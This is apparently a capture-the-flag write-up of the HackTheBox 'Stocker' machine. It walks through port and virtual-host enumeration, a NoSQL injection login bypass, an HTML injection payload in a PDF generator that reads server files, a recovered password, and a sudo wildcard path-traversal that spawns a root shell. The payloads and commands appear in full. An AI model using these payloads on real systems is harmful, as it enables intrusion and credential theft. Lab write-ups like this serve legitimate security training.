Stocker Writeup

26 June 2023 #CTF #HTB #box #easy #linux

stocker info

Enumeration

nmap scans are never out of stock:

$ sudo nmap -sCV -oN enum/initial.nmap 10.10.11.196
[...]
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3d12971d86bc161683608f4f06e6d54e (RSA)
|   256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_  256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

SSH

We can use the ssh banner to fingerprint the OS version. In our case, we learn that the box is running Ubuntu 20.04 (Focal) and the OpenSSH package was published in May 2022.

HTTP

Going to the website, we get a static page:

index static

At the bottom of the page, we find a potential username:

angoose

There are no actual links on this page so let's try to find other pages with gobuster:

$ gobuster dir -u http://stocker.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,html -o enum/root.dir
/css           (Status: 301) [Size: 178] [--> http://stocker.htb/css/]
/index.html    (Status: 200) [Size: 15463]
/js            (Status: 301) [Size: 178] [--> http://stocker.htb/js/]
/img           (Status: 301) [Size: 178] [--> http://stocker.htb/img/]
/.             (Status: 200) [Size: 15463]
/fonts         (Status: 301) [Size: 178] [--> http://stocker.htb/fonts/]

It looks like there is absolutely nothing here...

Since we are redirected to http://stocker.htb we can try to find virtual hosts:

$ ffuf -u http://10.10.11.196/ -H 'Host: FUZZ.stocker.htb' -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fs 178

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.196
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.stocker.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

dev                     [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 195ms]
:: Progress: [100000/100000] :: Job [1/1] :: 347 req/sec :: Duration: [0:09:58] :: Errors: 0 ::

dev.stocker.htb

This time, we get a login page:

login page

Trying common passwords like admin:admin, admin:password leads us nowhere.

Foothold

NoSQL Injection

Using curl to check the headers reveals the app is built with Express:

$ curl dev.stocker.htb -I
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 10 Apr 2023 10:56:31 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 28
Connection: keep-alive
X-Powered-By: Express
Location: /login
Vary: Accept
Set-Cookie: connect.sid=s%3AVqwBJwfWZXIgwbey4lrXL7NO2CbCJg__.SSy8auPJgzWYsTYZOl2XoW%2FDA7AuSda6cbeAPy0tzb4; Path=/; HttpOnly

The 'connect.sid' cookie is another indicator that the web app is using NodeJS.

NodeJS (not only) apps sometime use MongoDB, which is a NoSQL database. We can test a few payloads to check if it's vulnerable to NoSQL injection:

nosqli

Instead of putting a string in the 'username' and 'password' fields, we put an object which contains the special operator $ne. This operator return True if the value compared against our input is not equal. Essentially, the query looks like this:

SELECT * FROM users WHERE username != "asdf" AND password != "asdf"

It's not actually using this SQL query, but you get the idea.

XSS in PDF creator

Now that we're logged in, we have access to this shop:

stock page

We can add items to the basket, view it and submit purchase:

view basket

After submitting the purchase, we get a link to the purchase order as a PDF:

pdf of purchase

Let's intercept the request in Burp:

order request

The 'title', 'price' and 'amount' fields are displayed on the PDF.

We can put an XSS payload in the 'title' to read files on the server:

"<img src=x onerror=\"document.write('<iframe height=100% width=100% src=file:///etc/passwd></iframe>')\">"

This payload was found here.

Go to the orderId found in the response:

read /etc/passwd

Nice, it worked.

We can find the MongoDB creds in /var/www/dev/index.js:

index.js

We can SSH in with angoose:IHeardPassphrasesArePrettySecure (the username is displayed on the purchase order + on stocker.htb (at the bottom)).

$ ssh angoose@10.10.11.196
angoose@10.10.11.196's password:
angoose@stocker:~$ id
uid=1001(angoose) gid=1001(angoose) groups=1001(angoose)

Privesc

Our user can run sudo:

angoose@stocker:~$ sudo -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js

We can run any javascript file in /usr/local/scripts with node.

The way we can exploit this is by using directory traversal to crawl up the file system and execute any file we want.

angoose@stocker:~$ ls /usr/local/scripts/../../../home/angoose
user.txt

First, we'll create a simple nodejs payload to execute bash:

require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})

Then, we'll use directory traversal to execute our shell:

angoose@stocker:~$ sudo node /usr/local/scripts/../../../tmp/getroot.js

Key Takeaways